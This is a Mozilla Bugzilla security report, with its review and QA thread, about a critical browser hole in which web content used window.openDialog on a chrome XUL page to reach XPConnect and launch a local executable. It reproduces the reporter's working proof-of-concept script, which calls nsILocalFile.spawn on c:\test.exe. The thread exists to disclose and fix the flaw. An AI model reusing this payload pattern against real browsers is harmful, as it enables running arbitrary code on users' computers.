Closed Bug 56009 Opened 19 years ago Closed 19 years ago

Exploit: Accessing XPConnect remotely thru openDialog

Categories

(Core :: Security, defect, P3, critical)

defect

Tracking

()

VERIFIED FIXED

People

(Reporter: security-bugs, Assigned: security-bugs)

Details

(Whiteboard: [rtm++])

Attachments

(4 files)

Finally I managed to get access to XPConnect/XPCOM from web content
which leads to executing native code and may lead to taking full control
over user's computer.
I strongly recommend disallowing web content to load any chrome in any
way.

Mitchell, could you please write back whether you can reproduce the
exploit below?

The code is:
---------------------------------------------
<SCRIPT>
command="javascript:a=Components.classes['@mozilla.org/file/local;1'].createInstance().QueryInterface(Components.interfaces.nsILocalFile);"
+"a.initWithPath('c:\\\\test.exe');"
+"a.spawn(null,0);";window.openDialog("chrome://communicator/content/sidebar/preview.xul","_blank","chrome,resizable,close,dialog=no","georgi",command)
</SCRIPT>
 ---------------------------------------------

Georgi Guninski
Adding rtm; this is a ship-stopper. Working on a fix right now. ccing some
relevant people.
Status: NEW → ASSIGNED
Keywords: rtm
Target Milestone: --- → M19
The patch is posted. Hyatt, the changes I made allow CSS and JS files to be
loaded from chrome, and nothing else (when initiated by web content). I don't
think XUL overlays are subject to a CheckLoadURI at all, but if I'm wrong then
they may be broken by this patch. Can you verify? 
marking [RTM+] with verbal approval from beard. Need super-review.
Whiteboard: [RTM+]
Please get a super review, and then renominate.
Thanks,
Jim
Whiteboard: [RTM+] → [RTM need info]
Looks ok, but I need to sleep--more review tomorrow.  Hyatt should bless, maybe
scc can have a look too.  Is this in the trunk yet?  Did overlays break?

/be
Mitch, patch looks good.  In nsChromeProtocolHandler, you should also allow
files with an XML extension as well (in addition to XUL and HTML).

Can you explain the cases (for example in nsXMLElement) where you have the
disallow from mail flag passed in?

With the XML change a=hyatt.
The disallow from mail flag was created by Norris. It's to stop HTTP redirects
or META refreshes in mail messages, which could otherwise be used for spoofing
message content.

I will add the xml extension in ChromeProtocolHandler.
a=hyatt on the changes.
er ... where's the rest of the patch?  That one seems awful short :-)
Scott,
  The rest is unchanged from the original patch. Only
nsScriptSecurityManager.cpp differs.
Looks good.  My only remaining concerns are: did omitting the extra parentheses
in the |while|s add to the warnings?  e.g., should you have said

  while ((aCOMPtr = do_QueryInterface(aSourcePtr, &rv))
    {
      // ...
    }

?  also, did you really want to throw away the error later, returning
|NS_FAILURE|?  or will the caller want you to, e.g., |return rv;|?  It may well
be that the caller does only want |NS_FAILURE| ... I'm just asking.

sr=scc.
Reviewed, super-reviewed, folded, spindled, mutilated, and tested on both trunk
and branch. Restoring RTM+. Cheking oin on trunk. Do I have branch checkin
approval?
Whiteboard: [RTM need info] → [RTM+]
PDT, please grant rtm++, this exploit is a stop-ship bug.
Whiteboard: [RTM+] → [rtm+]
RTM double plus  'cause this sounds terrible.
Hopefully there was great care, and Scott Collins was as careful in his review
as he said he is (he was tellin' me this evening in fact!!!)... 'cause this is a
big'n.
Please land on branch asap.  Thanks.
Whiteboard: [rtm+] → [rtm++]
Landed on branch.
Status: ASSIGNED → RESOLVED
Closed: 19 years ago
Resolution: --- → FIXED
czhang is no longer here.  qa contact to paw.
QA Contact: czhang → paw
Can anyone on the cc: list help to verify this exploit is no longer able to be
executed?
Yeah, I can do this.
QA Contact: paw → jrgm
A modified form of guninski's exploit is posted at 
   http://jrgm/bugs/56009/exploit-alert.html

The only changes were to target nsIPref, and to display the success in an 
alert (for easy checking in an optimized Mac build). 

Prior to this fix, that testcase would succeed in getting ahold of the prefs
service. Now, in 2000110409 mac/linux/win32 MN6 builds, it throws an 
NS_ERROR_DOM_SECURITY_ERR.

Marking vtrunk (although mstolz may wish to verify this further/in greater 
depth).
Keywords: vtrunk
Group: netscapeconfidential?
Marking VERIFIED FIXED on:
-MacOS91 2001-05-23-08-trunk
-Win98SE 2001-05-23-09-trunk
-LinRH62 2001-05-23-08-trunk
Status: RESOLVED → VERIFIED
FYI, this caused bug 141442.
Keywords: vtrunk
Flags: testcase+
Flags: in-testsuite+ → in-testsuite?
You need to log in before you can comment on or make changes to this bug.